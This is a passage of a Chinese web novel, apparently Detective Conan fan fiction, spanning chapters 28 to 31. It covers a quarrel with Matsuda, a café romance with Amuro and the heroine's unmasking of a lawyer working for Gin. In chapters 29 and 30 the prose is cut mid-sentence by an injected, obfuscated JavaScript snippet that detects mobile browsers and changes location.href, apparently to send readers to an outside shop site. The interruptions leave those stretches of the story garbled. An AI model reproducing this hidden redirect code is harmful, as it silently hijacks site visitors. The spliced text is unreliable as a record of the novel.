他抬起眼,看向鎏汐:“我问他是怎么了,他说‘鎏汐不要我了’。就这么一句话,反反复复,像丢了魂。” 鎏汐的呼吸停滞了一瞬。 她想过萩原会难过,会消沉,可她没想过会到这种程度。那个总是温柔笑着、连拆弹时都保持着冷静的男人,竟然会因为她一句拙劣的分手借口而崩溃——这不在她的计划里,也不该在她的计划里。 “你不配。”松田的声音突然拔高,引得旁边几桌客人侧目,“鎏汐,你根本不配得到研二的真心,也不配得到任何人的真心。你接近我们,讨好我们,让我们对你放下防备,甚至爱上你——然后呢?等我们真的陷进去了,你就抽身离开,轻描淡写地说‘不爱了’。你到底把我们当什么?你任务里的棋子?还是你打发时间的玩具?” 他的质问一句比一句锋利,鎏汐却只是安静地听着,没有反驳。 因为她无法反驳。 松田看着她的沉默,胸腔里那股无名火越烧越旺。他猛地站起身,椅子腿在地板上划出刺耳的响声:“既然无话可说,那就到此为止。以后别再出现在研二面前,也别再出现在我面前。否则——” 他的话没有说完。 因为就在这时,居酒屋的门再次被推开,三个穿着花衬衫、流里流气的男人晃了进来。为首的那个染着一头黄毛,一眼就看到了独坐的鎏汐,眼睛一亮,摇摇晃晃地走过来。 “哟,美女一个人啊?”黄毛伸手就要搭鎏汐的肩膀,“陪哥哥喝一杯怎么样?哥哥请客——” 他的手在半空中被截住。 松田甚至没有起身,只是坐着,单手扣住了黄毛的手腕。他的动作快得看不清,力道却大得让黄毛瞬间变了脸色。 “滚。”松田只说了一个字。 黄毛疼得龇牙咧嘴,却还要嘴硬:“你谁啊你?少多管闲事——” 话音未落,松田猛地发力,将他的手反拧到背后,同时抬脚踹在他的膝弯。黄毛惨叫一声跪倒在地,另外两个同伴见状,骂骂咧咧地冲上来。 接下来的十秒钟,像一场快进的武打戏。 松田甚至没离开座位,只是单手格挡、侧身闪避、肘击膝顶,动作干净利落,每一下都落在最痛的关节处。等居酒屋老板惊慌失措地跑出来时,那三个人已经躺在地上呻吟,而松田只是整理了一下袖口,重新坐回鎏汐对面。 “否则,”他接上了刚才没说完的话,语气平静得像在讨论天气,“我会让你后悔。” 鎏汐看着地上狼狈的三人,又看向松田。他的侧脸在灯光下显得有些冷硬,下颌线紧绷,可刚才护在她身前的动作却没有丝毫犹豫。 她忽然觉得很累。 这种累不是身体上的,而是从骨髓深处渗出来的、无法消解的疲惫。她周旋在这些人之间,计算着每一步,揣摩着每一份感情,用谎言编织陷阱,用温柔构筑牢笼——可当萩原抱着照片失魂落魄,当松田一边骂她一边为她动手,当诸伏景光在雨夜为她撑伞,当安室透为她调制专属的咖啡…… 那些假意里,是不是也掺进了一丝连她自己都不敢承认的真情? “松田警官。”她轻声开口,第一次在他面前流露出些许脆弱,“如果我说,我做的这一切,只是为了保护你们……你信吗?” 松田盯着她看了很久。 久到地上的黄毛已经被同伴搀扶着狼狈逃走,久到居酒屋的老板小心翼翼地把打翻的椅子扶正,久到墙上的时钟又走过一格。 然后,他忽然笑了。 那笑容里没有温度,只有满满的讽刺:“保护我们?鎏汐,你的保护就是欺骗我们的感情,等我们真的爱上你了,再一脚踹开?这种保护,我们消受不起。” 他站起身,从钱包里抽出几张钞票压在酒杯下:“这顿我请,算是对当年赛车场上那场平局的告别。以后,别再让我看见你。” 他说完,转身就走。 风铃再次响起,他的背影消失在门外的夜色里,没有回头。 鎏汐独自坐在原地,看着面前那杯他留下的、她一口没动的酒。澄黄的液体映出天花板上摇晃的灯影,也映出她自己模糊的倒影。 她伸出手,指尖轻轻碰了碰杯壁。 凉的。 就像松田最后那个眼神,像萩原空荡荡的公寓,像诸伏景光在天台上那个温柔的吻,像安室透递来咖啡时指尖的温度——所有的一切,都是她亲手构筑、又亲手推倒的幻影。 她拿起酒杯,将剩下的酒一饮而尽。 辛辣感再次涌上喉咙,这次她没有忍,任由眼角渗出一点生理性的泪水。然后她站起身,推开居酒屋的门,走进东京深秋的夜风里。 29.第 29 章 冲矢昴离开后的第三天,波罗咖啡厅恢复了往日的节奏。 午后的阳光透过玻璃窗,在木质地板上投下温暖的光斑。店里客人不多,只有角落里一对学生在低声讨论功课,靠窗的老先生在打盹,还有几个熟客在吧台前有一搭没一搭地闲聊。 鎏汐站在柜台后,手指灵巧地将刚烤好的曲奇饼干装进纸袋。她的动作很快,每块饼干的大小、形状几乎完全相同,像用模具刻出来的一样。这是她在原本世界训练出的精准度——无论做什么,都要做到极致。 “店长,再来一杯冰美式。” 鎏汐抬眼,是那位每天下午两点准时出现的漫画家。她点点头,转身去操作咖啡机。 蒸汽喷涌的声音在安静的店里格外清晰。鎏汐专注地盯着咖啡液的流速,直到萃取出完美的金棕色液体,才加入冰块,递了过去。 “谢谢。”漫画家接过咖啡,却没有立刻离开,而是盯着鎏汐看了几秒,“店长,你今天心情好像不错。” 鎏汐愣了一下,随即恢复面无表情:“有吗?” “有的。”漫画家笑了,“之前你总是皱着眉,像在思考什么很严肃的问题。今天眉头松开了。” 鎏汐没有接话,只是低头继续整理柜台。但她的手指无意识地抚过自己的眉心——真的松开吗?她自己都没注意到。 也许是冲矢昴带来的紧张感暂时褪去了。又或者是…… 她的目光不由自主地飘向后厨。 透过半开的门帘,能看到安室透正在里面忙碌。他穿着深色的围裙,袖子挽到手肘,露出线条分明的小臂。阳光从后厨的窗户斜射进来,给他整个人镀上了一层柔和的金边。 他在准备下午茶的甜点。鎏汐知道,因为昨天她无意中提了一句“最近抹茶类的甜品好像很受欢迎”,今天他就买来了上等的抹茶粉。 “店长——” 安室透的声音打断了她的思绪。他端着一盘刚出炉的抹茶戚风蛋糕走出来,蛋糕还冒着热气,散发着淡淡的茶香和甜香。 “尝尝看?”他切下一小块,用叉子叉好,递到鎏汐面前,“调整了配方,应该不会太甜。” 鎏汐看着那块蛋糕,又看看安室透期待的眼神,犹豫了一下,还是接了过来。 蛋糕入口即化,抹茶的微苦和奶油的香甜完美融合,甜度确实恰到好处。 “怎么样?”安室透凑近了些,眼睛亮晶晶地看着她。 “还可以。”鎏汐说,语气平淡,却还是拿起叉子又切了一块,“抹茶味再浓一点会更好。” 安室透笑了,那笑容里带着鎏汐看不懂的温柔:“好,下次改进。” 他转身将蛋糕放进展示柜,开始摆放下午茶的餐具。动作间,他的手臂不经意地擦过鎏汐的肩膀——很轻,轻到几乎可以忽略不计,但鎏汐还是感觉到了。 她下意识地往旁边挪了半步。 安室透注意到了,却没有说什么,只是眼底的笑意深了几分。 接下来的几个小时,咖啡厅的客人渐渐多了起来。下午三点,是波罗咖啡厅最忙的时候——附近的上班族会来喝杯咖啡休息,学生们放学后会来吃点心,还有些闲逛的游客会进来坐坐。 鎏汐和安室透在吧台和后厨之间穿梭,配合默契得像已经共事了多年。 安室透负责招呼客人、点单、收拾餐桌,鎏汐则专注于制作饮品和甜点。他们不需要太多言语交流,一个眼神,一个手势,就能明白对方需要什么。 “三号桌的冰拿铁好了。” “收到。” “六号桌加一份焦糖布丁。” “马上。” “店长,七号桌的客人说蛋糕有点甜,能换一份吗?” “换抹茶戚风,算我请的。” 安室透端着替换的蛋糕走向七号桌时,回头对鎏汐眨了眨眼:“店长大方。” 鎏汐没理他,只是继续手上的工作。但她的嘴角,连自己都没察觉地,微微上扬了一点点。 下午四点半,客人渐渐散去。 鎏汐终于有了喘息的时间。她靠在吧台后,给自己倒了杯水,目光扫过咖啡厅——安室透正在角落里擦桌子,动作利落又认真。 他似乎做什么都很认真。不管是做咖啡、烤蛋糕,还是擦桌子、拖地板,那种专注投入的样子,总是让鎏汐想起自己在原本世界训练时的状态。 但又有哪里不同。 安室透的认真里,有一种她学不来的松弛感。那种松弛不是懈怠,而是一种游刃有余——像他已经在这个世界上找到了自己的位置,知道自己要做什么,该怎么做。 而她自己,还像一片浮萍,在这个陌生的世界里漂泊,寻找可以扎根的土壤。 “累了?” 安室透的声音突然在耳边响起。鎏汐回过神,发现他已经走到了吧台后,正看着她。 “没有。”她放下水杯,“只是在想事情。” “想什么?”安室透靠在她旁边的台沿,拿起一块抹布开始擦吧台,“还在想冲矢先生的事?” 鎏汐沉默了几秒,摇摇头:“不是。” “那是想什么?”安室透追问,语气轻松得像在闲聊,“想晚上吃什么?想明天要做什么甜品?想——” “想你为什么对我这么好。”鎏汐打断他。 话一出口,她自己都愣住了。这不是她计划要说的话,甚至不是她打算思考的问题。但就是那样自然而然地脱口而出,像水满自溢。 安室透擦吧台的动作停住了。 他转过头,看着鎏汐。午后的阳光从窗外斜射进来,照亮了他半边脸,鎏汐能清楚地看到他眼中一闪而过的惊讶,然后是某种更复杂的情绪——温柔,无奈,还有一点她看不懂的沉重。 “我对你好吗?”他最终开口,声音比平时低沉了一些,“我以为我只是在做应该做的事。” “应该做的事?”鎏汐重复,“什么是应该做的事?帮竞争对手找担保人?提醒她有危险?在她受伤时送药送饭?” 她顿了顿,声音更轻了:“安室透,我不傻。我知道这个世界上没有无缘无故的好意。” 安室透放下抹布,转过身,正对着她。 两人之间的距离很近,近到鎏汐能闻到他身上淡淡的咖啡香和阳光的味道,近到能看清他睫毛在脸颊上投下的细小阴影。 “如果我说,我对你好,是因为我喜欢你呢?”安室透轻声说。 这不是他第一次说类似的话。但这一次,他的语气里没有了之前的调侃和试探,只有一种平静的坦诚。 鎏汐的心脏漏跳了一拍。 她看着安室透的眼睛,那双总是带着笑意的深色眼眸,此刻认真得让她有些不知所措。 “我不懂喜欢。”她最终说,移开视线,“在我的世界里,感情是多余的。我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036033|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只讲任务,讲效率,讲结果。” “那现在呢?”安室透问,“现在你已经不在那个世界了。在这里,感情不是多余的。在这里,有人会对你好,是因为想对你好,不需要理由,也不需要回报。” 鎏汐沉默了很久。 咖啡厅里安静得能听到墙上时钟的滴答声。窗外的街道上传来汽车驶过的声音,远处有孩子的笑声,还有不知哪家店铺传来的音乐声。 这些声音构成了这个世界的背景音,平凡,嘈杂,却又充满了生活的气息。 是她从未体验过的气息。 “我不知道。”她最终开口,声音很轻,“我不知道该怎么回应。我不知道该相信什么,不该相信什么。我不知道——” 她停住了,因为安室透突然握住了她的手。 他的手掌很温暖,掌心有薄薄的茧——是长期握枪和训练留下的痕迹。鎏汐的手指在他掌心里微微颤抖,但最终没有抽回。 “没关系。”安室透说,声音温柔得像在哄一个不安的孩子,“不知道就慢慢知道。不相信就慢慢相信。鎏汐,我有耐心。我可以等。” 他松开她的手,从口袋里掏出一颗糖,放在她掌心:“不过在那之前,先把这颗糖吃了。你从中午到现在什么都没吃吧?” 鎏汐看着掌心里的糖——是她喜欢的柠檬味。 “你怎么知道我喜欢这个味道?”她问。 安室透笑了,那个熟悉的、带着调侃的笑容又回来了:“因为每次我给你这个味道的糖,你都会吃。给其他味道的,你就偷偷塞回我口袋。” 鎏汐耳尖微微发热。她以为自己做得很隐蔽。 “观察力不错。”她说,剥开糖纸,将糖果放进嘴里。 酸酸甜甜的味道在舌尖化开,像这个下午的阳光,温暖又明亮。 安室透看着她吃糖的样子,眼底的笑意更深了。他没有再说什么,只是转身去准备打烊的工作。 鎏汐含着糖,看着他在咖啡厅里忙碌的背影,突然想起那个漫画家的话—— “你今天心情好像不错。” 也许吧。 也许在这个陌生的世界里,在所有的危险和不确定中,还有那么一点点小小的、温暖的确定。 就像这颗柠檬糖,就像这个下午的阳光,就像安室透偶尔投来的、温柔的目光。 她不知道这是不是喜欢。 但她知道,这种感觉,并不讨厌。 窗外的天色渐渐暗了下来,米花町的灯火一盏盏亮起。咖啡厅里的客人都已离去,只剩下她和安室透,在温暖的灯光下,做着平凡又琐碎的工作。 鎏汐将最后一叠洗净的杯子放回架子上,看着它们整齐地排列着,在灯光下泛着晶莹的光泽。 “店长。”安室透走到她身边,递给她一杯热牛奶,“今天辛苦了。” 鎏汐接过牛奶,温热的触感从指尖一直传到心里。 “你也辛苦了。”她说,声音轻得像叹息。 安室透笑了,举起自己手中的咖啡杯,和她轻轻碰了一下:“那就为辛苦的我们,干杯。” 鎏汐看着杯中的牛奶,看着杯中倒映出的、自己微微上扬的嘴角,终于也笑了。 很浅很浅的笑,像水面上的涟漪,一闪即逝。 但安室透看见了。 他没有说破,只是眼底的笑意,像这个夜晚的星光,悄然点亮。 30.第 30 章 山田律师的邮件是在周三下午三点十七分发来的。 鎏汐刚送走一批下午茶客人,正靠在吧台后核对账目。手机屏幕亮起,提示音清脆地划破了咖啡厅里慵懒的爵士乐氛围。她瞥了一眼,发件人一栏写着“山田法律事务所”,主题是“关于身份申请事宜的重要通知”。 她的手指在屏幕上停顿了半秒。 距离上次与山田律师见面已经过去一周。当时对方信誓旦旦地表示,所有材料都已提交,接下来只需要等待审核,预计两周内就能拿到临时居住证。律师费她已经全额支付——那是她用几个月来省吃俭用攒下的所有积蓄。 而现在,距离承诺的日期还有五天。 鎏汐点开邮件。内容不长,语气却带着一种刻意伪装的歉意: “鎏汐小姐,非常抱歉地通知您,您在身份申请过程中遇到一些技术性问题。警方户籍管理部门要求补充一份详细的过往居住证明,并需要您提供至少两名担保人的附加说明。此外,由于近期政策变动,相关手续费需额外增加15万日元。请于三日内携带补充材料及费用到我事务所办理,逾期申请将自动作废。” 邮件末尾还附上了律师的私人手机号码,注明“如有疑问可随时联系”。 鎏汐盯着屏幕上的文字,眼睛微微眯起。 咖啡厅的灯光在她脸上投下淡淡的阴影。她将每一个字又读了一遍,然后关掉手机屏幕,抬起头。 安室透正在不远处为客人续咖啡。他似乎察觉到了什么,侧过头看向她,用眼神无声地询问:有事? 鎏汐摇了摇头,表情平静如常。 但她的大脑已经在飞速运转。 技术性问题?过往居住证明?她在这个世界根本没有过往居住史——这是从一开始就明摆着的事实。山田律师清楚这一点,当初他还保证“这种情况虽然少见,但并非无法操作”。 政策变动?额外费用?律师费已经付清,合同里明确写着“所有费用一次性结清,后续不再产生任何附加费用”。 三日内?逾期作废?这听起来不像是正常的行政流程,更像是…… 施压。 鎏汐将手机放回口袋,继续核对账目。她的手指在计算器的按键上跳跃,动作精准无误,仿佛刚才那封邮件从未存在过。 但她的心跳,很轻地,加速了一拍。 这不是第一次有人试图从她这里获取什么。在原本的世界,作为执行官,她经历过太多试探和陷阱。那些看似合理的要求背后,往往隐藏着精心设计的圈套。 而这一次,圈套的味道,她闻到了。 *** 当天晚上九点,波罗咖啡厅打烊。 最后一个客人离开后,安室透锁上店门,转过身时,看到鎏汐还坐在吧台后。她没有像往常一样开始打扫卫生,而是拿着一支笔,在便签纸上写着什么。 “怎么了?”安室透走过去,将围裙解下挂在一边,“从下午开始你就有点不对劲。” 鎏汐抬起头,将便签纸推到他面前。 上面是她用简洁的字迹列出的几点: 1. 过往居住证明(不合理,律师知情) 2. 额外费用15万(违反合同) 3. 三日限期(施压手段) 4. 律师主动留私人电话(反常) 安室透看完,眉头皱了起来:“山田律师?” “嗯。”鎏汐将下午的邮件内容复述了一遍,声音平静得像在描述别人的事,“他想从我这里得到什么?钱?还是别的?” 安室透沉默了几秒,拿起那张便签纸,指尖在“过往居住证明”几个字上轻轻点了点:“这个很关键。他明知你没有过往居住史,却故意提出这个要求,说明他真正想知道的,是你的‘过往’本身。” “我的来历。”鎏汐说。 “对。”安室透看着她,“有人想知道你从哪里来,为什么出现在米花町,为什么没有身份记录。” “谁会想知道这些?”鎏汐问,但心里已经有了答案。 两个人对视一眼,都在对方眼中看到了同样的猜测。 黑衣组织。 或者说,与黑衣组织有联系的人。 “你打算怎么做?”安室透问。 “见他。”鎏汐收起便签纸,“明天下午,去他的事务所。既然他想试探我,我就给他机会试探。” “一个人去?”安室透的声音沉了下来。 “一个人去。”鎏汐站起身,开始收拾吧台,“但不会真的一个人去。” 她转过身,看着安室透:“我需要你帮我查几件事。第一,山田律师最近和哪些人有频繁接触。第二,他事务所的财务状况。第三……” 她停顿了一下,声音更轻了:“如果可能,查查他有没有收过不明来源的款项,特别是来自那些‘穿黑衣服的人’的款项。” 安室透的瞳孔微微收缩。他看着鎏汐,这个站在吧台后、表情冷静得像在讨论晚餐菜单的女人,心中涌起一股复杂的情绪——有担忧,有警惕,但更多的,是一种难以言喻的……骄傲。 她敏锐得可怕。 “好。”他点头,“我会查。但你明天去见他,我要陪你一起去。” “不行。”鎏汐摇头,“如果你在场,他会警惕。我需要他放松,需要他说出真正想说的话。” “太危险了。”安室透走近一步,“如果他背后真的是组织的人,你一个人去——” “我有分寸。”鎏汐打断他,声音里有一种不容置疑的冷静,“而且,我需要证据。如果山田律师真的和黑衣组织有勾结,我需要能拿住他的把柄。否则就算这次解决了,他以后还会找别的麻烦。” 安室透还想说什么,但鎏汐已经转过身,继续擦洗咖啡机。她的背影挺直,肩膀线条紧绷,那是她进入战斗状态时的姿势——虽然手里拿着的只是抹布和清洗剂。 他最终叹了口气:“至少让我在事务所附近等着。如果有任何不对劲,我立刻进去。” 鎏汐没有回头,但她的肩膀微微放松了一些。 “……好。” *** 第二天下午两点,鎏汐准时出现在山田法律事务所门口。 事务所位于一栋略显老旧的三层建筑里,外墙的涂料有些剥落,招牌上的字迹也有些褪色。鎏汐站在楼下,抬头看了一眼三楼的窗户——窗帘拉得很严实,什么都看不见。 她深吸一口气,推门走了进去。 楼梯间很安静,只有她的脚步声在空旷的空间里回响。三楼只有一扇门,门上挂着“山田法律事务所”的铜牌。鎏汐敲了敲门。 门内传来脚步声,然后是门锁转动的声音。门开了,山田律师站在门口,脸上挂着职业性的笑容。 “鎏汐小姐,请进。”他侧身让开,“您很准时。” 鎏汐走进事务所。房间不大,布置得很简单——一张办公桌,两个文件柜,几张待客用的椅子。窗户被厚重的窗帘遮住,房间里只开着一盏台灯,光线有些昏暗。 “请坐。”山田律师指了指办公桌对面的椅子,自己则回到桌子后面坐下,“要喝点什么吗?茶?咖啡?” “不用了。”鎏汐坐下,将随身携带的文件袋放在膝盖上,“我们直接谈正事吧。” “好,好。”山田律师搓了搓手,从抽屉里拿出一份文件,“是这样的,鎏汐小姐。我昨天在邮件里提到的那些要求,确实是警方的硬性规定。我也很为难,但程序就是程序,我们只能遵守。” 他说着,将文件推到鎏汐面前:“这是需要您填写的补充表格。关于过往居住证明这一项,如果您实在无法提供,也可以写一份情况说明,解释为什么没有居住记录。但这样通过审核的可能性会大大降低,所以我建议您还是尽量回忆一下,哪怕是很久以前、很模糊的记忆……” 鎏汐没有去看那份文件。她抬起眼,直视着山田律师:“山田先生,我记得我们第一次见面时,您明确说过,像我这种情况,可以通过特殊渠道处理,不需要过往居住证明。” 山田律师的笑容僵了一下:“是的,但是……政策变了。最近警方查得很严,所有身份申请都要追溯到十年前。我也是没办法。” “那么额外费用呢?”鎏汐继续问,语气依旧平静,“合同里写得很清楚,所有费用一次性结清。为什么突然要多收15万?” “这是手续费。”山田律师解释道,“因为您的申请需要走特殊渠道,这中间会产生一些……额外的打点费用。您懂的,有些事不方便明说。” “我不懂。”鎏汐说,“您可以解释清楚,具体是什么费用,用在什么地方,给谁。我有权知道我的钱花在哪里。” 山田律师的笑容彻底消失了。他靠回椅背,双手交叉放在桌面上,眼神里多了一丝审视:“鎏汐小姐,您好像对我的专业性有所怀疑?” “我只是想弄清楚事情的真相。”鎏汐迎上他的目光,“毕竟15万不是小数目,而且三天内就要交齐,这太仓促了。” 两人之间的空气安静了几秒。 台灯的光线在山田律师脸上投下深浅不一的阴影。鎏汐能感觉到,他在衡量——衡量她的态度,衡量她的底线,衡量她是不是真的会妥协。 “好吧。”山田律师最终开口,语气变得柔和了一些,“其实,事情是这样的。您也知道,像您这样没有任何身份记录的人,要申请合法身份,本身就……很敏感。警方那边有些人,对这种情况特别警惕。他们怀疑您可能是……某些不法组织的成员。” 他顿了顿,观察鎏汐的反应。 鎏汐的表情没有任何变化。 “所以,要打通这些环节,确实需要一些额外的……努力。”山田律师继续说,“那15万,就是用来打点这些环节的。至于过往居住证明,如果您实在提供不了,我也可以想办法帮您……做一份。” “做一份?”鎏汐重复。 “对。”山田律师压低声音,“我认识一些人,可以帮您制作一份看起来真实的居住记录。当然,这需要额外的费用,但比起申请被拒,这点投资是值得的,您说呢?” 他说话时,眼睛一直盯着鎏汐,像是在捕捉她脸上每一丝细微的变化。 鎏汐的手指在文件袋上轻轻摩挲。她沉默了几秒,然后开口:“山田先生,您说得对,15万比起拿到身份,确实不算什么。” 山田律师的眼睛亮了一下。 “但是,”鎏汐话锋一转,“我需要看到具体的收据。每一笔钱给了谁,什么时候给的,都要有记录。而且,我要亲自和您说的那些‘环节上的人’见面,确认这件事的真实性。” 山田律师的表情再次凝固了。 “这……恐怕不太方便。”他勉强笑道,“那些人,您知道的,不喜欢抛头露面。” “是吗?”鎏汐站起身,“那很抱歉,山田先生。在见到具体的人和收据之前,我不会支付任何额外费用。至于申请,如果您觉得无法继续办理,我可以撤回,并按照合同要求退还已支付的律师费。” 她说着,转身就要离开。 “等等!”山田律师急忙叫住她。 鎏汐停下脚步,但没有回头。 “鎏汐小姐,您这样……会让事情很难办。”山田律师的声音里带上了一丝急切,“您要知道,如果您撤回申请,不仅拿不到身份,之前付的钱也……可能退不回来。毕竟我们已经开始工作了。” 这是威胁。 鎏汐缓缓转过身,看着山田律师。她的眼神很冷,冷得像冬夜的冰:“山田先生,您在威胁我?” “不,不是威胁,只是陈述事实。”山田律师站起身,绕过办公桌走到她面前,“鎏汐小姐,我理解您对金钱的谨慎,但有时候,为了达到目的,我们必须做出一些……妥协。您在这个世界无依无靠,没有身份,没有朋友,如果再得罪了能帮您的人,后果会很严重。” 他说这话时,离鎏汐很近。鎏汐能闻到他身上淡淡的古龙水味,能看到他眼中一闪而过的得意——那是猎手看到猎物落入陷阱时的得意。 但她不是猎物。 至少,不完全是。 “山田先生,”鎏汐开口,声音很轻,却清晰得每一个字都像刀刃,“您刚才说,‘您在这个世界无依无靠’。这句话很有意思。您怎么知道我不是这个世界的人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036034|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山田律师的脸色瞬间变了。 他后退了一步,嘴唇动了动,似乎想解释什么,但鎏汐没有给他机会。 “还有,”她继续说,“您提到‘得罪能帮您的人’。这个‘人’,指的是谁?是警方户籍管理部门的人?还是……某些穿黑衣服的人?” 山田律师的脸彻底白了。 “我不知道您在说什么……”他试图辩解,但声音已经开始颤抖。 “您知道。”鎏汐从口袋里掏出手机,按下播放键。手机里传出清晰的录音——是刚才两人对话的全部内容。 山田律师的眼睛瞪圆了:“你……你录音?!” “为了保护自己的合法权益。”鎏汐收起手机,“山田先生,我现在给您两个选择。第一,继续正常办理我的身份申请,不再提任何额外要求,我会当作今天的事没发生过。第二,我去警局报案,控告您敲诈勒索,并提交这段录音作为证据。” 她顿了顿,声音更冷了:“顺便提醒您一句,敲诈勒索罪,在日本刑法里,最高可以判处十年有期徒刑。而且,如果警方深入调查,发现您与其他不法组织有勾结……那就不只是坐牢那么简单了。” 山田律师的身体晃了晃,他扶住办公桌,才没有摔倒。汗水从他的额头渗出来,在昏暗的灯光下闪着细小的光。 “你……你想要什么?”他艰难地问。 “我要您继续办理我的身份申请。”鎏汐说,“正常办理,按合同来。而且,我要您告诉我,是谁让您这么做的。是谁想知道我的‘过往’?” 山田律师沉默了很长时间。 房间里安静得能听到墙上时钟的滴答声。每一秒都拉得很长,长得像永无止境的折磨。 最终,他瘫坐在椅子上,声音沙哑地说:“是……是一个姓‘黑泽’的男人。他找到我,说对你的来历很感兴趣,让我想办法套出你的信息。他说……如果我做得好,会给我一大笔钱。” 黑泽。 琴酒。 鎏汐的心脏沉了下去。虽然早有预料,但听到确切的答案,还是让她感到一阵寒意。 “他什么时候找你的?”她问。 “一周前。”山田律师抹了把汗,“他说……如果你问起,就说政策变动,需要额外费用。如果你愿意付钱,就说明你心虚,可能真的有什么不可告人的过去。如果你不愿意……就让我继续施压,直到你露出破绽。” “他给了你多少钱?”鎏汐继续问。 “先付了50万,说事成之后再给100万。”山田律师从抽屉里拿出一个信封,颤抖着递给鎏汐,“钱……钱都在这里,我一分没动。我还给你,求你别报警……” 鎏汐没有接那个信封。她看着山田律师惊恐的脸,突然觉得有些讽刺。 这个几分钟前还在试图威胁她的人,现在却像只受惊的老鼠,乞求她的宽恕。 “继续办理我的身份。”她最终说,“正常办理。如果你再耍任何花样,这段录音会立刻出现在警局和各大媒体手里。明白吗?” “明白,明白!”山田律师连连点头,“我一定按时办好,一定!” 鎏汐没有再说什么,转身离开了事务所。 门在她身后关上,隔绝了山田律师瘫坐在椅子上的身影。 楼梯间依旧安静,只有她自己的脚步声。但这一次,脚步声里多了一丝沉重。 她走到楼下,推开大门。午后的阳光有些刺眼,她眯了眯眼,看到街对面停着一辆熟悉的白色马自达RX-7。 安室透靠在车边,看到她出来,立刻走了过来。 “怎么样?”他问,目光在她脸上扫过,似乎在确认她有没有受伤。 “解决了。”鎏汐简短地说,“是琴酒。他让律师试探我的来历。” 安室透的眼神暗了下去:“果然。” “你那边查到什么?”鎏汐问。 “山田律师的银行账户上周有一笔50万日元的现金存入,来源不明。”安室透说,“而且,他最近频繁和一个号码通话,那个号码……属于组织的外围成员。” 两人对视一眼,都从对方眼中看到了同样的结论。 “他不会再找麻烦了。”鎏汐说,“我录了音,他不敢。” 安室透沉默了几秒,然后轻轻叹了口气:“你总是能自己解决问题。” “习惯了。”鎏汐说。 安室透看着她,突然伸出手,将她被风吹乱的刘海轻轻拨到耳后。这个动作很自然,自然得让鎏汐愣了一下,竟忘了避开。 “但以后,你可以不用什么都自己扛着。”安室透说,声音很轻,“至少……让我帮你分担一点。” 鎏汐抬起头,看着他的眼睛。那双总是带着笑意的深色眼眸,此刻认真得让她有些不自在。 她移开视线,看向远处的街道。阳光洒在米花町的街道上,行人来来往往,一切都那么平静,那么……正常。 但只有她知道,这份平静之下,暗流从未停止涌动。 “走吧。”她最终说,“该回咖啡厅了,下午茶时间快到了。” 安室透笑了,那个熟悉的、温和的笑容又回到了脸上:“好。不过回去之前,要不要先吃点东西?你中午好像没怎么吃。” “……随便。” “那就去那家新开的甜品店?听说他们的草莓蛋糕不错。” “你不是刚吃过午饭吗?” “甜品是装在另一个胃里的。” 鎏汐看着安室透笑眯眯的样子,突然觉得,也许在这个危险的世界里,有个人能一起分担,一起面对,一起在暴风雨来临前,偷吃一块草莓蛋糕…… 好像也不错。 她轻轻点了点头。 “嗯。” 安室透的笑容更深了。他打开车门,做了一个“请”的手势。 鎏汐坐进副驾驶座,看着窗外飞速掠过的街景。手机在她的口袋里,里面存着那段录音,也存着未来的无数可能。 但至少在这一刻,在阳光明媚的下午,在去往甜品店的路上…… 她允许自己,暂时不去想那些危险和阴谋。 只想着草莓蛋糕,会不会太甜。 31.第 31 章 夜色像一块吸饱墨水的绒布,沉甸甸地覆在东京上空。 “暗夜酒吧”里,爵士乐慵懒得像醉汉的叹息,萨克斯风的尾音在烟草与酒精的气味里打着旋。鎏汐——此刻化名“汐”——坐在吧台最暗的角落,指尖有一下没一下地敲着红酒杯壁。酒液映着头顶那盏昏黄的吊灯,在她眼底晃出一片虚浮的光。 她知道自己正被盯着。 那道目光像针,冰冷、精准,从她踏入酒吧的那一刻起就黏在背上。不是诸伏景光——他此刻正坐在斜对面的卡座,穿着熨帖的黑西装,笑容温和得像在读一本诗集,只有鎏汐知道,他衬衫下摆藏着的枪已经上好了膛。 不,是另一道视线。更远,更沉,像潜伏在深水里的鲨。 赤井秀一。 鎏汐心里那根弦绷紧了。她太熟悉这种被审视的感觉——FBI的王牌狙击手,那双墨绿色的眼睛能轻易剥开任何伪装。她故意晃了晃酒杯,让冰块叮当作响,侧过脸对酒保轻笑:“再来一杯,加冰,不要糖。”声音软得像融化了的奶油,可余光早已扫过整个空间。 他在二楼。 二楼栏杆旁的阴影里,一点火星明灭——是烟。赤井秀一靠着柱子,长腿随意交叠,黑色针织帽压住微卷的短发,整个人几乎融进黑暗里。他看起来漫不经心,可鎏汐知道,他连她指尖敲击的频率都记下了。 “麻烦。”她在心里低骂,脸上却漾开更甜的笑,起身朝诸伏景光走去。 高跟鞋敲在地板上,清脆得像某种信号。诸伏景光抬起眼,鎏汐已经拉开他对面的椅子坐下,手肘支在桌上,托着腮看他:“先生一个人喝酒多无聊?我陪你聊聊?” 她的演技早已淬炼得炉火纯青——眼尾微挑,唇边噙着恰到好处的神秘,像一只故意露出爪尖的猫。诸伏景光配合地举起酒杯,玻璃杯沿抵着下唇,声音压得低,只有两人能听见:“赤井在二楼。” “知道。”鎏汐眨眨眼,忽然提高音量,语气陡然尖锐起来,“你根本没有诚意交易!浪费我的时间!” 